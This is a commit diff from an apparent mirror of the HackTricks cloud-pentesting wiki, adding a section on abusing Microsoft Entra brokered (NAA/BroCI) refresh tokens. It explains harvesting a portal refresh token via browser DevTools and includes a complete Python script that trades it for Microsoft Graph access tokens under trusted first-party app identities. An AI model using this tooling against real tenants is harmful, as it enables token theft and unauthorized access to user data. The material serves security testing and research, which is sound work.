mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
f
This commit is contained in:
@@ -208,6 +208,334 @@ microsoft_office_bearer_tokens_for_graph_api = (
|
|||||||
pprint(microsoft_office_bearer_tokens_for_graph_api)
|
pprint(microsoft_office_bearer_tokens_for_graph_api)
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## NAA / BroCI (Nested App Authentication / Broker Client Injection)
|
||||||
|
|
||||||
|
A BroCI refresh tokens is a brokered token exchange pattern where an existing refresh token is used with extra broker parameters to request tokens as another trusted first-party app.
|
||||||
|
|
||||||
|
These refresh tokens must be minted in that broker context (a regular refresh token usually cannot be used as a BroCI refresh token).
|
||||||
|
|
||||||
|
### Goal and purpose
|
||||||
|
|
||||||
|
The goal of BroCI is to reuse a valid user session from a broker-capable app chain and request tokens for another trusted app/resource pair without running a new full interactive flow each time.
|
||||||
|
|
||||||
|
From an offensive perspective, this matters because:
|
||||||
|
|
||||||
|
- It can unlock pre-consented first-party app paths that are not accessible with standard refresh exchanges.
|
||||||
|
- It can return access tokens for high-value APIs (for example, Microsoft Graph) under app identities with broad delegated permissions.
|
||||||
|
- It expands post-authentication token pivoting opportunities beyond classic FOCI client switching.
|
||||||
|
|
||||||
|
What changes in a NAA/BroCI refresh token is not the visible token format, but the **issuance context** and broker-related metadata that Microsoft validates during brokered refresh operations.
|
||||||
|
|
||||||
|
NAA/BroCI token exchanges are **not** the same as a regular OAuth refresh exchange.
|
||||||
|
|
||||||
|
- A regular refresh token (for example obtained via device code flow) is usually valid for standard `grant_type=refresh_token` operations.
|
||||||
|
- A BroCI request includes additional broker context (`brk_client_id`, broker `redirect_uri`, and `origin`).
|
||||||
|
- Microsoft validates whether the presented refresh token was minted in a matching brokered context.
|
||||||
|
- Therefore, many "normal" refresh tokens fail in BroCI requests with errors such as `AADSTS900054` ("Specified Broker Client ID does not match ID in provided grant").
|
||||||
|
- You generally cannot "convert" a normal refresh token into a BroCI-valid one in code.
|
||||||
|
- You need a refresh token already issued by a compatible brokered flow.
|
||||||
|
|
||||||
|
### Mental model
|
||||||
|
|
||||||
|
Think of BroCI as:
|
||||||
|
|
||||||
|
`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource`
|
||||||
|
|
||||||
|
If any part of that broker chain does not match, the exchange fails.
|
||||||
|
|
||||||
|
### Where to find a BroCI-valid refresh token
|
||||||
|
|
||||||
|
In authorized testing/lab scenarios, one practical way is browser portal traffic collection:
|
||||||
|
|
||||||
|
1. Sign in to `https://entra.microsoft.com` (or Azure portal).
|
||||||
|
2. Open DevTools -> Network.
|
||||||
|
3. Filter for:
|
||||||
|
- `oauth2/v2.0/token`
|
||||||
|
- `management.core.windows.net`
|
||||||
|
4. Identify the brokered token response and copy `refresh_token`.
|
||||||
|
5. Use that refresh token with matching BroCI parameters (`brk_client_id`, `redirect_uri`, `origin`) when requesting tokens for target apps (for example ADIbizaUX / Microsoft_Azure_PIMCommon scenarios).
|
||||||
|
|
||||||
|
### Common errors
|
||||||
|
|
||||||
|
- `AADSTS900054`: The refresh token context does not match the supplied broker tuple (`brk_client_id` / `redirect_uri` / `origin`) or the token is not from a brokered portal flow.
|
||||||
|
- `AADSTS7000218`: The selected client flow expects a confidential credential (`client_secret`/assertion), often seen when trying device code with a non-public client.
|
||||||
|
|
||||||
|
<details>
|
||||||
|
<summary>Python BroCI refresh helper (broci_auth.py)</summary>
|
||||||
|
|
||||||
|
```python
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Python implementation of EntraTokenAid Broci refresh flow.
|
||||||
|
|
||||||
|
Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for:
|
||||||
|
- brk_client_id
|
||||||
|
- redirect_uri
|
||||||
|
- Origin header
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python3 broci_auth.py --refresh-token "<REFRESH_TOKEN>"
|
||||||
|
|
||||||
|
How to obtain a Broci-valid refresh token (authorized testing only):
|
||||||
|
1) Open https://entra.microsoft.com and sign in.
|
||||||
|
2) Open browser DevTools -> Network.
|
||||||
|
3) Filter requests for:
|
||||||
|
- "oauth2/v2.0/token"
|
||||||
|
- "management.core.windows.net"
|
||||||
|
4) Locate the portal broker token response and copy the "refresh_token" value
|
||||||
|
(the flow should be tied to https://management.core.windows.net//).
|
||||||
|
5) Use that token with this script and Broci params:
|
||||||
|
|
||||||
|
python3 broci_auth.py \
|
||||||
|
--refresh-token "<PORTAL_BROKER_REFRESH_TOKEN>" \
|
||||||
|
--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \
|
||||||
|
--tenant "organizations" \
|
||||||
|
--api "graph.microsoft.com" \
|
||||||
|
--scope ".default offline_access" \
|
||||||
|
--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \
|
||||||
|
--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \
|
||||||
|
--origin "https://entra.microsoft.com" \
|
||||||
|
--token-out
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import base64
|
||||||
|
import datetime as dt
|
||||||
|
import json
|
||||||
|
import re
|
||||||
|
import sys
|
||||||
|
import urllib.error
|
||||||
|
import urllib.parse
|
||||||
|
import urllib.request
|
||||||
|
from typing import Any
|
||||||
|
|
||||||
|
|
||||||
|
GUID_RE = re.compile(
|
||||||
|
r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
|
||||||
|
)
|
||||||
|
OIDC_SCOPES = {"offline_access", "openid", "profile", "email"}
|
||||||
|
|
||||||
|
|
||||||
|
def resolve_api_scope_url(api: str, scope: str) -> str:
|
||||||
|
"""
|
||||||
|
Match Resolve-ApiScopeUrl behavior from the PowerShell module.
|
||||||
|
"""
|
||||||
|
if GUID_RE.match(api):
|
||||||
|
base_resource = api
|
||||||
|
elif api.lower().startswith("urn:") or "://" in api:
|
||||||
|
base_resource = api
|
||||||
|
else:
|
||||||
|
base_resource = f"https://{api}"
|
||||||
|
|
||||||
|
base_resource = base_resource.rstrip("/")
|
||||||
|
|
||||||
|
resolved: list[str] = []
|
||||||
|
for token in scope.split():
|
||||||
|
if not token.strip():
|
||||||
|
continue
|
||||||
|
if "://" in token:
|
||||||
|
resolved.append(token)
|
||||||
|
elif token.lower().startswith("urn:"):
|
||||||
|
resolved.append(token)
|
||||||
|
elif token in OIDC_SCOPES:
|
||||||
|
resolved.append(token)
|
||||||
|
elif GUID_RE.match(token):
|
||||||
|
resolved.append(f"{token}/.default")
|
||||||
|
else:
|
||||||
|
normalized = ".default" if token in {"default", ".default"} else token
|
||||||
|
resolved.append(f"{base_resource}/{normalized}")
|
||||||
|
|
||||||
|
return " ".join(resolved)
|
||||||
|
|
||||||
|
|
||||||
|
def parse_jwt_payload(jwt_token: str) -> dict[str, Any]:
|
||||||
|
parts = jwt_token.split(".")
|
||||||
|
if len(parts) != 3:
|
||||||
|
raise ValueError("Invalid JWT format.")
|
||||||
|
payload = parts[1]
|
||||||
|
padding = "=" * ((4 - len(payload) % 4) % 4)
|
||||||
|
decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii"))
|
||||||
|
return json.loads(decoded.decode("utf-8"))
|
||||||
|
|
||||||
|
|
||||||
|
def refresh_broci_token(
|
||||||
|
refresh_token: str,
|
||||||
|
client_id: str,
|
||||||
|
scope: str,
|
||||||
|
api: str,
|
||||||
|
tenant: str,
|
||||||
|
user_agent: str,
|
||||||
|
origin: str | None,
|
||||||
|
brk_client_id: str | None,
|
||||||
|
redirect_uri: str | None,
|
||||||
|
disable_cae: bool,
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
api_scope_url = resolve_api_scope_url(api=api, scope=scope)
|
||||||
|
|
||||||
|
headers = {
|
||||||
|
"User-Agent": user_agent,
|
||||||
|
"X-Client-Sku": "MSAL.Python",
|
||||||
|
"X-Client-Ver": "1.31.0",
|
||||||
|
"X-Client-Os": "win32",
|
||||||
|
"Content-Type": "application/x-www-form-urlencoded",
|
||||||
|
}
|
||||||
|
if origin:
|
||||||
|
headers["Origin"] = origin
|
||||||
|
|
||||||
|
body: dict[str, str] = {
|
||||||
|
"grant_type": "refresh_token",
|
||||||
|
"client_id": client_id,
|
||||||
|
"scope": api_scope_url,
|
||||||
|
"refresh_token": refresh_token,
|
||||||
|
}
|
||||||
|
if not disable_cae:
|
||||||
|
body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}'
|
||||||
|
if brk_client_id:
|
||||||
|
body["brk_client_id"] = brk_client_id
|
||||||
|
if redirect_uri:
|
||||||
|
body["redirect_uri"] = redirect_uri
|
||||||
|
|
||||||
|
data = urllib.parse.urlencode(body).encode("utf-8")
|
||||||
|
token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
|
||||||
|
req = urllib.request.Request(token_url, data=data, headers=headers, method="POST")
|
||||||
|
|
||||||
|
try:
|
||||||
|
with urllib.request.urlopen(req) as resp:
|
||||||
|
raw = resp.read().decode("utf-8")
|
||||||
|
except urllib.error.HTTPError as e:
|
||||||
|
err_raw = e.read().decode("utf-8", errors="replace")
|
||||||
|
try:
|
||||||
|
err_json = json.loads(err_raw)
|
||||||
|
short = err_json.get("error", "unknown_error")
|
||||||
|
desc = err_json.get("error_description", err_raw)
|
||||||
|
raise RuntimeError(f"{short}: {desc}") from None
|
||||||
|
except json.JSONDecodeError:
|
||||||
|
raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None
|
||||||
|
|
||||||
|
tokens = json.loads(raw)
|
||||||
|
if "access_token" not in tokens:
|
||||||
|
raise RuntimeError("Token endpoint response did not include access_token.")
|
||||||
|
return tokens
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)."
|
||||||
|
)
|
||||||
|
parser.add_argument("--refresh-token", required=True, help="Refresh token (required).")
|
||||||
|
parser.add_argument(
|
||||||
|
"--client-id",
|
||||||
|
default="04b07795-8ddb-461a-bbee-02f9e1bf7b46",
|
||||||
|
help="Client ID (default: Azure CLI).",
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--scope",
|
||||||
|
default=".default offline_access",
|
||||||
|
help="Scopes (default: '.default offline_access').",
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)."
|
||||||
|
)
|
||||||
|
parser.add_argument("--tenant", default="common", help="Tenant (default: common).")
|
||||||
|
parser.add_argument(
|
||||||
|
"--user-agent",
|
||||||
|
default="python-requests/2.32.3",
|
||||||
|
help="User-Agent sent to token endpoint.",
|
||||||
|
)
|
||||||
|
parser.add_argument("--origin", default=None, help="Optional Origin header.")
|
||||||
|
parser.add_argument(
|
||||||
|
"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)."
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)."
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--disable-cae",
|
||||||
|
action="store_true",
|
||||||
|
help="Disable CAE claims in token request.",
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--token-out",
|
||||||
|
action="store_true",
|
||||||
|
help="Print access/refresh tokens in output.",
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--disable-jwt-parsing",
|
||||||
|
action="store_true",
|
||||||
|
help="Do not parse JWT claims.",
|
||||||
|
)
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
print("[*] Sending request to token endpoint")
|
||||||
|
try:
|
||||||
|
tokens = refresh_broci_token(
|
||||||
|
refresh_token=args.refresh_token,
|
||||||
|
client_id=args.client_id,
|
||||||
|
scope=args.scope,
|
||||||
|
api=args.api,
|
||||||
|
tenant=args.tenant,
|
||||||
|
user_agent=args.user_agent,
|
||||||
|
origin=args.origin,
|
||||||
|
brk_client_id=args.brk_client_id,
|
||||||
|
redirect_uri=args.redirect_uri,
|
||||||
|
disable_cae=args.disable_cae,
|
||||||
|
)
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Error: {e}", file=sys.stderr)
|
||||||
|
return 1
|
||||||
|
|
||||||
|
expires_in = int(tokens.get("expires_in", 0))
|
||||||
|
expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds")
|
||||||
|
tokens["expiration_time"] = expiration_time
|
||||||
|
|
||||||
|
print(
|
||||||
|
"[+] Got an access token and a refresh token"
|
||||||
|
if tokens.get("refresh_token")
|
||||||
|
else "[+] Got an access token (no refresh token requested)"
|
||||||
|
)
|
||||||
|
|
||||||
|
if not args.disable_jwt_parsing:
|
||||||
|
try:
|
||||||
|
jwt_payload = parse_jwt_payload(tokens["access_token"])
|
||||||
|
audience = jwt_payload.get("aud", "")
|
||||||
|
print(f"[i] Audience: {audience} / Expires at: {expiration_time}")
|
||||||
|
tokens["scp"] = jwt_payload.get("scp")
|
||||||
|
tokens["tenant"] = jwt_payload.get("tid")
|
||||||
|
tokens["user"] = jwt_payload.get("upn")
|
||||||
|
tokens["client_app"] = jwt_payload.get("app_displayname")
|
||||||
|
tokens["client_app_id"] = args.client_id
|
||||||
|
tokens["auth_methods"] = jwt_payload.get("amr")
|
||||||
|
tokens["ip"] = jwt_payload.get("ipaddr")
|
||||||
|
tokens["audience"] = audience
|
||||||
|
if isinstance(audience, str):
|
||||||
|
tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience))
|
||||||
|
if "xms_cc" in jwt_payload:
|
||||||
|
tokens["xms_cc"] = jwt_payload.get("xms_cc")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] JWT parse error: {e}", file=sys.stderr)
|
||||||
|
return 1
|
||||||
|
else:
|
||||||
|
print(f"[i] Expires at: {expiration_time}")
|
||||||
|
|
||||||
|
if args.token_out:
|
||||||
|
print("\nAccess Token:")
|
||||||
|
print(tokens.get("access_token", ""))
|
||||||
|
if tokens.get("refresh_token"):
|
||||||
|
print("\nRefresh Token:")
|
||||||
|
print(tokens["refresh_token"])
|
||||||
|
|
||||||
|
print("\nToken object (JSON):")
|
||||||
|
print(json.dumps(tokens, indent=2))
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
|
```
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
## Where to find tokens
|
## Where to find tokens
|
||||||
|
|
||||||
From an attackers perspective it's very interesting to know where is it possible to find access and refresh tokens when for example the PC of a victim is compromised:
|
From an attackers perspective it's very interesting to know where is it possible to find access and refresh tokens when for example the PC of a victim is compromised:
|
||||||
@@ -233,8 +561,7 @@ From an attackers perspective it's very interesting to know where is it possible
|
|||||||
|
|
||||||
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
|
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
|
||||||
- [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md)
|
- [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md)
|
||||||
|
- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/)
|
||||||
|
- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user